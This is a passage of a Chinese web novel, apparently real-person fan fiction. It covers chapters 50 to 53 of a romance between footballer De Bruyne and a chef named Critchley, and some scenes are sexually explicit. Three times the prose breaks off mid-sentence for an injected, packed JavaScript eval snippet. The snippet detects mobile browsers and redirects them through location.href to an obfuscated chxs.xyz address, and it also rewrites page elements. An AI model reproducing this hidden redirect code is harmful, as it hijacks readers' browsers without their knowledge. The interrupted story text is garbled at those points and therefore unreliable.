他说在家躺着呢,怎么,你来查房吗? “是的,凯文,请发个位置给我,德龙恩太绕了,一会我就又绕回布鲁塞尔了。” “傻子,来了不说一声,我派人接你。” 没跟他在一起时整天幻想和他在一起是什么样,会不会经常有惊喜有浪漫,现在在一起了又觉得他应该是随性的放纵的不该围着某个人转的,那样就不是传闻中迷人又孤傲的克里奇利。 说实话,他给克里奇利发游轮上的亲密照片是想看看他吃醋什么样,看到了也满足了,然而也没期待他能来。 克里奇利也没想太多,他根本不知道惊喜和浪漫是什么,他只是单纯的想见他,不然见谁? 德布劳内挂了电话,有些意外的笑笑,心想,他还真是吃醋了,要来堵我的门,查我的房,还不是他自己心虚,以为都像他似的,两天不播种就得憋死。 德布劳内给他发了位置,又跟楼下保安说他一会有贵客造访,请提供便利。 克里奇利顺利的找到他位于小镇郊区半山腰的可以俯瞰整个小镇风光的别墅。 一进门他就跟狼似的把背包一扔,扑上去就啃。一边啃一边嗅,这架势跟几天没吃饭了一样。 亲的德布劳内一直后退,连喘口气的余地都没有。 克里奇利大手扣着他脖子,把他压在自己的唇上,恨不得把舌头伸进他喉咙里去。 男人之间的亲吻充斥着暴力美学,进攻属性拉满,德布劳内也不是退让的主儿,他主管进攻,而且火爆脾气一点就着,于是他也抬着下巴,猛烈地亲吻他,说亲吻更像是撞咬,还要比谁的舌头更长。 激烈的亲吻带着脱衣特效,不一会克里奇利就把比利时白巧的糖衣给剥了个精光。 德布劳内被他推着压在了墙面上,手腕也被他握住举在头顶。 “慢点,你是想我还是想上我?”德布劳内脸色绯红,不甘心被压在墙面上可也没过多挣扎还有点欲拒还迎的意味。 “Both!” 克里奇利不想聊天,不想解释,也不想做前戏,他一闻到德布劳内身上的奶油加茶香就受不了了。 又甜腻又冷清的。如果他有信息素,真想狠狠地标记他,让他怀孕。 不过就算不能怀孕,也可以标记他,让他不想别的,脑子里只有这一件事,就是晾谁都行就是不能晾伦敦大野狼,那个打飞滴以后会头晕恶心的顶A混蛋,他一肚子坏招无处发挥真的会死。 在发挥之前,他是懂得让猎物放松警惕的。 狼是狩猎者,会把整个身体都贴在猎物上蹭,让聪明的猎物瑟瑟发抖,让愚蠢的猎物袒露肚皮。 所以他一定会饱餐一顿,然后舒服的满地打滚。 他把德布劳内翻转过去,支起双臂把他困在自己的身前,手指轻重不一的抚摸他的后背,帮他放松肌肉,一边抚摸一边称赞他,就像餐前对食物的感恩。 “凯文,你拥有喜马拉雅山脉一样宽阔的后背,亚马孙平原般平坦的小腹,还有鲨鱼划过海平面而起的凶猛气势,这一切太完美了。”他的手停留在火山口已经被撑起一个可观的弧度。 说的德布劳内忍不住发笑,不知道是不是他那文学家朋友教给他的话术,听上去鸡皮疙瘩都要掉一地。 美言不抵实干,他不再说话,只顾不停地亲吻他,一边亲一边拽他的裤子,急不可耐地贴上他饱满的臀大肌。 他从兜里摸出作案工具,刚要开始体验这道比利时国菜,突然听到咔哒一声,门被关上的声音。 他进来只顾着又扑又咬,竟忘了关紧门。 而门口站着一位似乎被眼前的情景吓的不知所措的老先生。 “噢fuck!”克里奇利又把小方塑料袋放回去,不怀好意的吼道,“你谁呀?” 德布劳内赶紧把裤子提上,接着把克里奇利拉到身后,弯着腰有些尴尬的解释,“爸,你怎么来了?我们不是你想的那样。” 爸?克里奇利听了差点就地撅过去。 “咳咳…我顺路来接你,你朋友?” “嗯,同事。” 克里奇利立刻警觉起来,前一秒还是狂野奔放的大灰狼现在变成了一只会察言观色的小狗。 他把德布劳内脱了半裸好在自己还穿着T恤,只好硬着头皮和他爸打招呼。 “布莱恩.克里奇利。”他伸出手去,不出所料地被这位红光满面比凯文还红温的老先生用力握了握。 紧接着他们用克里奇利听不懂的语言交流了一会,然后把克里奇利一个人扔在家里,他们父子俩出了门。 出门前,德布劳内还不忘交代他冰箱里有吃的,要不就先歇歇,等他回来带他出去吃。 克里奇利只好面带微笑送他们出门,心里有种说不出的滋味,他爸看上去虽然没说什么,却好像说了很多,那警惕的眼神似乎在警告他,离我儿子远点,你这个英格兰人。 英格兰人怎么了,和比利时人不是小巫见大巫么,克里奇利想着想着自嘲的笑了,喝了一杯凉茶试图缓解猎物从嘴里飞了的失落感。 结果他等了4个小时也不见德布劳内回来,电话也打不通。 他只好从冰箱里拿出他不爱吃的全麦面包啃了两口,他是肉食动物,现在就想吃一口白斩鸡或者甜水鸭,剥了皮的大白鱿鱼也行,唉,德布劳内又把他晾成了小鱼干,再不回来又只能靠自己了。 咔哒一声门响,克里奇利立刻起身过去,结果又是他爸,这次是他一个人。 克里奇利心里有数了,他爸要跟自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850376|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈判。 无奈他只好厚着脸皮见家长,在这四个小时里他只想着他美丽wife什么时候回来,根本没打草稿来应付他爸。 老德布劳内先生坐在长沙发上中间俨然一副主人自居的架势,他指了指旁边的单人沙发示意他的客人坐下,开门见山的说,“克里奇利先生,我查了你的资料,厨师界业界翘楚,年轻有为,你真人要比网上的照片帅气多了。” “谢谢。”他知道老先生先夸他是出于礼貌,接下来可能就要审判他了。 “网上的一些话我也不知道真假,说你是gay说的有鼻子有眼的。” “那我也不隐瞒你,请允许我重新介绍一下我自己,伦敦蝴蝶大道基佬圈头号人物,只能玩不能泡的完美单身主义者。” “唉…”老爹扶额。 “不过你先别叹气,我对你儿子是…” “还不如不能泡。” 老先生打断了他的话,“能不能麻烦你看在上帝的份儿上,离开凯文。” 简单直接,三句不到就说到重点了。 老先生继续说:“我知道这对你们来说可能有点难,但如果你是认真的,可不可以稍微考虑一下,凯文的处境。” 果不其然是来劝退他的。 其实克里奇利也有考虑过球星的属性,他们自律,健康,节制,充满战斗力和男性气概,并且很突出的一点是足圈恐侗,有公开出柜的表面上对他是尊重和佩服,实际上根本无球可踢。 然而私底下又有几个能做到节制和干净的,出了名有了钱就算自己不挥霍,也总有人贴着你让你挥霍。 和男的混在一起受尽白眼,和女的就可以开party炫耀自己帅气多金会疼人的本事了?到底疼哪一个是真? 克里奇利不相信爱情,这样就不用费尽心思地去拒绝那么多诱惑,也会在那些声声称赞中迷失自我并且永远保持年轻。 他现在刚开始有点相信爱情了,觉得和男人也可以过异性恋的小把戏,约会,度假,送礼物,打飞机来奔赴对方,再说点甜言蜜语哄对方开心,这些他还没都做一遍试试呢,就要被上帝视角给讨伐了。 但是,拿上帝来压他不好使,他和上帝一天生辰,就算被人骂该下地狱的死给,这些人也要在这一天给他庆祝伟大的诞生。 想到这,他笑了,本来想说上帝算个鸟,但是又不好泯灭别人的信仰,于是改口道: “先生,劝退别人总要带点诚意吧。” 老先生展开严肃的眉头,有些期待地对他说,“这就好办了,克里奇利先生。” “别那么疏远,叫我布莱恩就行。” “好,布莱恩,你想要多少?” 克里奇利笑笑,并不急着回答,他拿起茶几上的凉茶转身去餐桌,接了一壶热水,给主人倒茶。 “唉,真的不想冒犯您,您觉得凯文的爱情值多少钱?” 这么一问把老先生问住了。 “不如您去劝劝他,如果他肯离开我,不就省了一笔巨额支出了?” “你真的不肯离开他吗?” “我们才刚谈,现在说离开还有点为时过早。不过我想诚恳的对你说,先生,我没有欺骗他,这样的爱情好不好还得他亲自试过才知道。” 克里奇利抿了一口茶,又恬淡的笑笑,可说出来的话又把老先生的眉头说皱了。 “老德布劳内先生,请叫小德布劳内先生快点回来,支开他太久对他身体不利,我从伦敦飞到这用了一个小时,可没想过还有4个小时的车程,你们比利时也不大啊!” 51.第 51 章 不一会,凯文回来了。 他手里拎着一些购物袋,看样子是去买东西了。 克里奇利自然的走过去从他手里接过来,还搂着他贴了贴,他爸在这自己还算收敛,没直接啃上。 只是这么一个简单的动作就有一种熟悉的人夫感,让老德布劳内先生看了浑身一激灵。 “凯文,你今晚跟我回家。”他对凯文说克里奇利听不懂的话。 “我不回去,我这有客人。”凯文回应道。 克里奇利把手里的购物袋放到桌上,是给他买的衣服,洗漱用品,还有内裤袜子什么的。 他抿嘴笑笑,真贴心,知道我来的匆忙没带过多的衣物。 还有一盒超大的披萨,不管了,他已经饿得前胸贴后背了,任由他俩在那叽里咕噜辩论,自己先吃为敬。 他刚咬了一大口披萨还没等咽下去,就被凯文一把拽起来,当着老先生的面对着嘴就亲了下去。 老先生气的胡子直发抖,摔门而去。 “怎么了这是?”克里奇利眼睛瞪的老大。 “没事,我都30多了,还把我当小孩呢!” 克里奇利没想到凯文会这么做,他刚才已经怼了他爸,但是看他们在一边激烈的讨论,瞬间觉得自己是来添乱的。 “凯文,我们都爱你。” “唉…我知道。” 克里奇利能说出这样的话他自己都惊呆,他爹妈之前没教过他谈恋爱要找个靠谱的,而是在发现他是同的时候,一个要和他断绝母子关系,一个恐吓他要是敢结婚就打断他腿,最后还是被破碎的家庭给堵在了门外,他根本不知道父母的爱是什么。 但是他从老德布劳内先生的眼神和语气中不难理解,他爱凯文,不想他吃爱情的苦,也不想他面临世俗的压力,不像自己,被憎恨,被诅咒,被驱赶,被当成骗婚后不该来到这世上的怪胎。 他抱着凯文,轻轻的吻他的额头,低沉的声线在他耳边响起:“德布劳内先生,对不起,要不是太想你了,我也不会让你这么受难为。” “这么说,我没栓住你的这段时间,自己栓住自己了?” “嗯,困在手心里,没乱出门,除了上厕所。” “哈哈哈…”他得意的大笑,然后使劲捏了捏没到处乱糙的英货。 一个回合之后,克里奇利搂着他,看着他饱餐过后血液涌上白皙的脸颊,慵懒的躺在自己怀里,想起刚才发生的事突然一丝酸楚涌了上来。 他坐在床边点燃了一根烟,刚吸了几口,后背就被一只手从上到下抚摸了下来。 “布莱恩,不早了,睡吧。” “嗯,凯文,你要不要给你爸道个歉。” “……” “我不太懂怎么爱别人,你是懂爱的,但是你刚才把他气的不轻,我不想你和我一样,和父亲成为敌人。” “没事,我以前也这么气过他,和库尔图瓦,和一个不忠的女人,然后拒绝恋爱,我的感情生活向来都是惹他生气的,过一段时间就好了。” “凯文,生气就代表爱吧,你看上去也不太开心。”克里奇利转过来亲吻他,他不知道该怎么表达爱,在他的人生字典里,爱就是亲吻,滚床单。滚完一个又一个,还没来得及投入爱就换下一个床单了。 这次滚的对不对他也不知道,总之想要得到祝福真的比登天还难。这在以前想都不用想,现在怎么这么令人费解,头都要炸了。 他就这样在比利时住了好几天,德布劳内白天出去参加各种活动,晚上回来被他喂饱,日子过得还挺滋润。 直到镜报拍到了克里奇利出入德布劳内豪宅的照片,在网上引起了一片涨潮般的舆论风波,逼的德布劳内父亲不得不出来澄清,他们只是朋友,不是你们想的那样。 克里奇利就知道他们要走的路有多艰难。 他想到不能带他去nice或是bird跳舞,不能带他和基友见面,甚至不能和他出双入对,这以后的日子怎么过,一直偷偷摸摸的隐藏自己与生俱来的同志身份吗。 他爸说的一点没错,凯文现在还在现役,不该被肮脏的舆论拷打,如果事情闹大了,他会被足坛鄙夷嫌弃甚至遭受歧视,难以想象他会在球场上被人公然揩油并且嘲讽一句死基佬的画面。 这对适应了身份的克里奇利来说没什么,但对德布劳内来说可是职业上难以想象的毁灭性打击,他不该承受这份折辱,他应该被仰视,他是绿茵场最霸气的雄狮,没人可以小看他,更没人可以凌驾他。 克里奇利不想他背负这么大的压力。 与此同时,德布劳内家庭也做出了反击,他们要对镜报不负责任的言论引发的网上猜测和造谣采取法律手段。 最直接有效的反击是当事人的澄清。 但克里奇利不会直面媒体,他绝不会做出嘴上说我是直男,然后转头就去亲吻帅哥这样的事,更不会说我和德布劳内只是同事,才不是你们想的那样,最多是邀请我来做客的朋友。 这对其他人不公平,明明睡了一堆人,现在却要伪装自己扮演直男。对德布劳内也不公平,怎么他不够吸引力让自己x冷淡了?明明火辣的要命,恨不得一天24小时和他粘在床上。 对此,德布劳内也有点慌。他让克里奇利先回去,等风波过了再说。 他回去的前一天,老德布劳内先生又召见了他。 这次,老先生没有用任何劝退的口吻,相反,他还十分包容的对他说,“如果你足够成熟,可以保护好你们的关系,那我也可以放手不管,毕竟凯文已经好多年没对别人敞开心扉了。但是如果你敢伤害他,别怪我揍你。” “我怎么舍得伤害他,不过你指的是哪种伤害?我会做好安全措施不会让他受伤的。” “混蛋!”他爸骂了他一句接着重重拍了他的肩膀,放他回英国了。 回去的路上,克里奇利想了很多,想到脑电波短路,比高中数学还绕,他怎么会想到多姿多彩的彩虹生活给他出了这么一道难题呢。 结果一下飞机,蜂拥的记者给他抛出了一个又一个难解之题。 克里奇利带着墨镜从飞机上走下来,像个明星一样对媒体记者摆手,实际上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856379|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是黑脸拒绝被拍被采访。 尖锐的声音从麦克风里不断冒出: “克里奇利先生,你是gay吗?” “你和德布劳内是真的吗?” “去比利时专程约会吗?” “拜托给我们个解释。” 克里奇利已经能想象的到德布劳内每天都要面对这样的记者,他该有多烦躁。 “没什么好解释的,我的事儿和你们无关。” 他加快脚步,把摄像机从自己脸前推开,真不想出名,这是他人生中最大的一次公关危机,是德布劳内带给他的热度,这真的让他感到有些触头,该怎么保护好这段关系呢? 这时他手机响了,低头一看,是托马斯打来的电话。 他告诉托马斯会坐哪个航班赶回来给他过生日,巧在托马斯和凯文一天生日,只是没办法继续留在比利时,总不能错过两个最重要的人的生日吧。 托马斯在电话里匆忙的对他说:“哥,来地下vip停车场,我来接你了。” 克里奇利愣了愣,托马斯还没有驾照呢,又一想,大概是麦卡蒂和他一起来的。 “你来干嘛,我助理来接我了,就在出口处。” “别从一楼出口走了,全是记者,你不知道你在英国火了啊?” “有这么夸张?我又不是明星,他们是来追你的吧。” “别开我玩笑了,哥,快点吧,上车再说。” 克里奇利本来没想躲着记者,越躲越是事儿,但小家伙专程来接自己为的就是让自己避开风头,也不好辜负了他,于是克里奇利转身坐直梯去了地下停车场。 果然没猜错,麦卡蒂开车停在曼城vip专属车位上,托马斯见到克里奇利赶紧下去帮他把东西放到车上,然后迅速离开了机场。 气氛有点尴尬,上次见麦卡蒂还是赛季初缺人的时候他来打替补,在餐厅说过几句话,现在竟然成了他弟弟的好朋友,克里奇利也拿不准他们到底是什么关系。 两个小孩以后的路还长着呢,希望他们不会面临这么难搞的局面。 “唉,你们球星真不好当,一点隐私都没有。” “克里奇利先生,我还不是球星。”麦卡蒂一边开着车一边回应他。 “那你是球童?我还没见过1米8多的球童呢。” “哈哈哈…”前面的两个小孩被他逗笑。 “哥,别闹了,我们队长早晚是球星。”托马斯满眼崇拜的看着他身边这个同样有着美丽金发的少年。 “是,你也早晚当上大明星。”麦卡蒂宠溺的对他笑。 “哎哟,明星有什么好。”克里奇利抱着肩膀靠在座椅上不说话了,他真希望这件事赶紧过去。 他是一个忠实于身份和生活的人,基本上是想干嘛干嘛,虽然没公开出柜,那也没否认过自己,现在可好,要回避的东西太多,恨不得藏起来不露面。 还有这段感情还不稳定就要经历这么多波折,让克里奇利深感迷茫,别看他是一个30岁大龄剩男,实际上是一个恋爱废柴,连给别人过生日都没个主见。 52.第 52 章 克里奇利走了以后,德布劳内陷入了沉思。之前他爸反对他搞txl,他还跟他爸顶牛,现在他爸不管了,他反而有了一丝觉醒。 他从网上看了很多片子,发现自己对男的女的都不是很感兴趣,只是没碰到契合的灵魂。 克里奇利对他是一种嚣张的x吸引力,要说谈恋爱他绝对不是最佳人选。 不主动联系,不嘘寒问暖,不表达爱意,甚至连句生日祝福都没有,他想什么呢? 克里奇利想的是30多了还过生日?如果是自己的话,真希望他的朋友忘记祝福他,可他的生日太好记,每次除了银行给他发祝福外,都会收到他两个好基友准时问候,还给他办生日聚会,当然只是圣诞节邀请他去吃饭而已。 他也没给托马斯庆祝,有人给托马斯庆祝他固执的认为。 他在家里长成了阴湿的蘑菇,已经开始靠看片来排忧解难,最后逼的自己给德布劳内打视频电话,要求他云do,德布劳内不搭理他,于是他就怀疑德布劳内x冷淡,实际上他认为这就是谈恋爱,两个人节奏对不上,话不投机,聊着聊着就因为身处异地鞭长莫及而吵架。 没什么原因,暂时不能见面,消极应对,不敢面对现实,分歧归咎于一个谈恋爱弱智不懂得体贴关心满脑子只有x没长远打算的幼稚鬼,而另一个只关心足球,虽然也想固定关系但更多的是想要得到祝福的那种。 他们渐行渐远一天打不上一个电话。 德布劳内每次和他通话完,都会对他吊儿郎当的作派感到越来越难以理解,他发现自己只是迷恋他的气质,并没有太多的依赖,甚至在做过以后还对他有些反感,他进攻属性太强了,不懂得谦让,总是霸道的占据a位,让他心里不爽。 终于在他生日这天,他给克里奇利发信息,说先不联系了,彼此冷静一下。 克里奇利是真够冷静,连句生日祝福都没给他发,也没有太多的感觉,他也觉得谈恋爱没意思,不如简单直接的看对眼然后互相交换致命的信号,一拍即合,始终保持新鲜感的同时没那么多扯落不清。 他们的爱情跌跌撞撞经不起考验,现在更是摇摇欲坠,没人愿意再努努力。 德布劳内还是犹豫不决,他决定和克里奇利谈谈,把话说开看看还有没有谈下去的必要。 他回来了。 克里奇利家是密码锁,那他也提前告诉他一声,省的他换密码把自己搞的下不来台。 但是他回去的时候,看到一地的狼藉,更感觉下不来台。 克里奇利正在送客,他说,“你赶紧走吧,我一会有事,让他撞见解释不清。” 没错,这位和他纠缠不清的人正是克里奇利下午约的按摩男技。 他只是让他按照片里的情景给他表演一段。 结果这个男技看克里奇利长得漂亮又是名人,想多干一些私活赚点钱。 就在他爬床被拒的时候,德布劳内回来撞见这一幕。 克里奇利给了他很多小费终于把他送走。 接下来两个人不可避免的大吵一架。 关系也降到了冰点。 他们都说了狠话。 德布劳内说:“你是狗改不了吃屎!” 他说:“我就这样,是你说分开冷静的,我没有对你不忠,而且我也没做什么。” 德布劳内无语的摊摊手,他说:“你不要为精神出轨找任何借口。” 他笑了,说:“谢谢你抬举我,还精神出轨,你晾了我快半个月,我能有精神就算不错了,德布劳内,你以为你是谁啊!” 克里奇利说完就后悔了,他嘴巴没个把门的他知道,但是出口伤人一般都是开开玩笑,他本意并不是要伤害别人的,特别是他爱了这么久的德布劳内。 “凯文,我不是那个意思…”他走过去,双手握住德布劳内的肩膀。 “布莱恩,我也有错,我们还是分开吧。”德布劳内拨开他的手。 克里奇利垂着手臂,思考了半天,终于开口,“好,只要你高兴,我无所谓。”说完他就转过身去,只觉得眼眶上的神经一跳一跳的疼。 “嗯,你无所谓就好。你不难过我也不那么愧疚,其实我们并不合适。”德布劳内说完就离开了。 怎么会不合适呢,克里奇利也想不通,他去超市选购的时候总是能看到德布劳内喜欢吃的东西,菜谱随即在他脑子里生成,炸虾仁、白灼菜心搭配菠菜干酪意面。 他看球赛的时候,眼睛会不由自主地盯着德布劳内挪动的每一步,几乎是不看球的,只看他,如果他进球了,克里奇利心里会怒放一朵花,难以形容的开心,只觉得血往头上涌,要不是有椅背,他就能从座位上仰过去。 这些都是爱情,他怎么能不懂呢,果然爱情是不能碰的,碰了就会有太多的记忆不停地从脑中出现,拷打他脆弱的神经。 他无处发泄,只好夜夜混迹在酒池肉林里,让那些美好躯体晃走他脑子里停留过的白色爱情故事。 德布劳内就是他的白月光,带给他美好、纯洁和无暇的感受,那些成年人的对话和自然而然的碰触,都让他有一种徜徉在温暖河流中的舒服和惬意。 特别是德布劳内清冷疏离的面容,一双蓝湛湛的眼睛和他在场上那种攻守通杀的气势,和恋爱中那样温柔缱绻的样子形成强烈的反差,让克里奇利想忘都忘不了。 为了彻底忘记他,克里奇利拨通了助理的电话。 他去比利时之前,他助理克莱尔给他打过电话。 时间回到两周前。 “布莱恩,我看你最近有点闲,给你接了一个大活,希望你不要拒绝。”他的助理是一个很有主见的男妈妈。 “克莱尔,我一点都不闲,手上还有好几个私人订制,只是不用我亲自做而已,你就别给我接私活了,我现在要去比利时。” “老板,你怎么这么任性,去哪都不说一声,机票行程我给你定啊!” “得了,你只会给我定下一个工作地点。” “是的,布莱恩,巴塞罗那有请。” “巴塞罗那?” “他们要来伦敦温布利打欧超,点名要找你调理一下,我猜你的玄学功底传到西班牙特别是巴塞罗那很合理,瓜迪奥拉搞不好说漏了,伤员少是因为吃得好。” “帮我推掉。” “推不掉啊,一周5万磅。” “靠!我很缺钱吗?”克里奇利骂完了接着抬脚就去了比利时,完全不在乎他的拒绝可能会得罪一个西甲豪门。 他这个助理太会赚钱,给他挑的都是big deal,原因是对他的手艺无比信任,接私活帮老板赚钱自己的腰包也赚得鼓鼓的。 曼城三冠王以来,各大豪门都开始觊觎这位英国鼎鼎大名的厨神克里奇利,偷他食谱的比比皆是,然而做出来的却差强人意,也不受补。 赛季刚一结束他助理的电话都被打爆了,他本人也被各种关系介绍来的人情给轰炸的不敢接电话了。 巴萨慕名而来这并不稀奇,连阿森纳都在吃回头草,主动联系他说能不能回来伦敦一趟,夏歇期调整一下食谱,曼城给你多少,阿森纳加10%,克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870112|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里奇利说把阿森纳拉黑,这种自信谁给他的。 现在,他想问问他助理,去巴塞罗那还行不。 他助理回答他,两周前我特么刚得罪人家的行政经理,要联系你自己联系。 他说那我不在曼城干了,你也得失业。 过了一会,他助理又打来电话。 “Boss,你果然不是一般人,我厚着脸皮给那边去电,人家说随时欢迎你,新赛季马上开始,有两场友谊赛要打,你要是去的话,就赶在友谊赛之前的动员宴会之前去给他们露一手,打上一管子鸡血,让他们把你就地留下。” “你以为我真是神啊,给他们食物里放易筋丹啊?” “什么是易筋丹?” “改造体质,提升功力的一种东方圣药。” “赐给我两颗呗。” “真有的话还能轮到你,早被我吃光了!” “我真怀疑你吃了这东西,整天激情四射的。” “真有的话,世界杯冠军都可能易主了。” “噗!损的你嘞!” 收拾好失恋的心情,克里奇利也离开了曼彻斯特,他走的悄无声息,因为还在夏歇期,很多人都不知情。 这下好了,伦敦小报的记者都找不到他了,这件事也逐渐平复下来,也没人敢在德布劳内面前提克里奇利的名字了。 德布劳内找回自己的ins密码,发了一条状态,是上个赛季他在客场进球并当选全场最佳的照片,照片中他单膝跪地,手指前方庆祝进球,并配文:“唯一正确的选择,就是继续向前。” 大多数人理解的是,他将继续热爱足球事业,不去谈个人情感问题。 也有人理解为,德布劳内确实有一段他坚持要爱的经历,只是他不可以太过任性。 随着克里奇利的远走,这段无疾而终的感情也戛然而止,成为他们彼此难以忘怀却又无法续写的遗憾。 克里奇利只身来到巴塞罗那,准备去巴萨之前先随便逛逛。 西班牙他是第二次来,来之前还和罗德里说了一声,罗德里很生气,一是怪他毫无预兆的说走就走,怎么对曼城对兄弟们这么狠心,上个赛季一起经历了多少起伏最终收获了无法想象的荣耀。二是怪他去西班牙不早和他说,他好帮他安顿一下。 克里奇利对罗德里的热情一如既往的宽慰,他说我来试试水,还不一定呢,要是有所需求,一定找你帮忙。 托马斯也很不理解,他试图挽救他们的关系,然而一个说分开对谁都好,另一个说我还没玩够呢,谈什么恋爱! 克里奇利刚和托马斯说完就被巴塞罗那大街上的一个滑板少年蹭了一下肩膀,并冲他回眸一笑,他得意的告诉托马斯,我喜欢西班牙的烈日和sunny boy,回头给他带礼物,一准比他从法国意大利带回来的破泥塑强多了,实际上那是托马斯在免税店一眼就相中的罗马人物雕塑,九头身的身材比例和流线型的肌肉线条,乍一看还挺像克里奇利的,狠下心来花了他演出费的一大半才买到的,才不是他口中的破泥塑。 他嘴上这么说,人也在阳光通透的巴塞罗那,但心还在雾气朦胧的曼彻斯特,整个人的状态就像刚哭完一场,鼻子里酸酸胀胀的,只想喝一杯刺激饮料来提提神或者解解乏。 他正在想自己是去咖啡厅还是酒吧的时候,看见了一个熟悉的背影,一头明晃晃的金发,身高在180左右,穿着一身白色的运动装,闪身进了一家叫“四只猫”的咖啡厅。 克里奇利脑子不转了,他的脚也不听使唤,直直地跟着进去了。 53.第 53 章 一直单身的克里奇利,谈恋爱对他来说还是有点难,但是想要突然从爱情里抽身离去也不那么容易。 他明明知道这个人一定不是德布劳内,尽管背影是那么的像,他跟上去也不知道自己会做什么,也许只是看一眼,就像感冒后期的治疗,还需要再吃点药压一下。 他看见金发男人坐在窗边的角落,侧面看上去更像,他心开始突突,不会真是他吧。 看久了也不好,毕竟他也不是随时随地都会放电的骚扰者。 他找了个座位坐下,服务生过来为他点单,他低头看着平板菜单,余光把窗边笼罩,不知是巴塞罗那的阳光太烈还是金发明晃晃的耀眼,他竟然觉得眼睛被灼的有些痛,快要掉泪。 他用英文点单,美式去糖加冰,因为晚上有工作,不能用酒精麻醉自己,那就用咖啡苦死自己吧。 这个咖啡厅不算大,服务生看上去是个兼职学生,英文不太好的样子,一直在用西语跟他确认。 他西语也不太好,一直在说vale,si,沟通失败的他别扭的看向四周,发现周围的一对情侣在笑话他,不远处的金发男人也看向这边。 有那么一瞬间,他觉得“德布劳内”在看他,然后走过来帮他解围,他们再重新认识一遍,这次他会好好准备一下,给他留个不那么荒唐轻浮的印象。 旁边的小情侣只顾着笑,让他有些恼火,这时金发男人点好了自己的单,掏出4欧放在服务生的餐盘里,对这边用英语开口道,“先生,他问你怎么支付?” “哦哦,谢谢。”克里奇利看了他一眼,这一眼有些深。 他面容雪白干净,眼睛钴蓝,嘴角微微上扬,看上去年轻瑞丽,如同阳光。 克里奇利收回目光,把手伸向口袋,怎么口袋瘪瘪的,他脑子嗡的一声,“fuck!”脏话脱口而出,优雅绅士的形象瞬间崩塌,刚才那个滑板少年,毫无疑问,他刚来到西班牙就被偷了,还以为自己魅力太大落地生花呢。 他用英语解释自己钱包被偷了,可以手机支付吗? 要不是自己当时打着电话,可能手机也被偷了,那他就彻底尴尬了。 说完他又用眼神求助那位帮他解围的金发帅哥。 这位热情的帅哥显然是在这等朋友的,因为克里奇利看向他的时候他正向窗外招手,示意他的朋友他在这。 克里奇利只好低头摆弄着自己的apple pay,无奈尴尬的事还是发生了,这个小店竟然不支持手机支付。 这咖啡也不是非喝不可,他准备走了,唉,巴塞罗那第一印象还是不太友好啊,他想着,该去附近的警局报案,虽然钱包里没多少现金可是有身份证和银行卡,还是要处理一下的。 他刚走到门口,就被刚才帮他翻译的金发小帅哥叫住,再次开口让他惊讶万分。 “克里奇利先生吗?不介意的话,一起坐坐,我请。” 他现在还有明星效应了?真不敢相信,这可不是在英国,不过也不奇怪,铺天盖地的新闻能认出他来也正常。 “呃…”他还犹豫上了。 这要是搁以前,有人请他喝咖啡,还是个美男子,他还不屁颠屁颠的坐过去,然后开始试探人家喜好。 “不了,谢谢,我要去附近的警局。”他礼貌拒绝了。 金发男人对刚坐在他对面的一名男子说了几句话,这个看上去是他朋友的黑人男子确认了几秒,接着站起来走向门口,追上了前脚刚出门的克里奇利。 “先生!”他在克里奇利身后叫住他,“我是弗兰基德容先生的助理,他让我给你指路。” “哦?”克里奇利站定转过头来,看了一眼这位黑人朋友,又看到窗边的他口中的弗兰基德容正在微笑着向他招手。 “附近的警局就从这条路一直往前走,在第二个路口右转就看到标识了。希望巴塞罗那不至于给你留下太坏的印象。” “嗯,谢谢,替我向弗兰基德容先生道谢。” 怪不得他看这位眼熟,竟然是巴萨的德容,这也太巧了,下午要去巴萨确认菜单,准备友谊赛前的动员宴会,这就先遇见巴萨的人了。 克里奇利隔着落地窗对他微微一笑,接着去做计划表上节外生枝的事了。 他烦气的给他的助理克莱尔打电话,叫他准备一些证明材料发过来,他助理笑话他这人倒霉了喝凉水都塞牙,你要不要干完这单再回来?那他就不用给他处理辞职手续再考虑要不要追随他来西班牙了。 克里奇利说既然来了就得留下名声。 他到底可以做什么能得到巴萨的青睐,只是友谊赛就值得用重金聘请他来试水,说出去谁能信,他能养活球星,让美食效应变得更有说服力。 莱万多夫斯基已经在上个赛季不止一次吐槽餐厅的饭菜难吃,再这样他就要从家乡聘请厨师来了,这笔费用当然要巴萨出。 巴萨已经没招数和球星就饮食方面赖账,因为他们的主厨真的江郎才尽,众口难调的借口已经用了不知多少遍,现在巴萨主席对后勤总监放话,再不换厨师就换了你! 要说克里奇利不赶上这档子恋爱失败的事儿,也轮不到巴萨来挖他,当时他走的时候曼城说的是租借,还给他开了口子,如果有任何不适应,曼城始终欢迎你再回来。 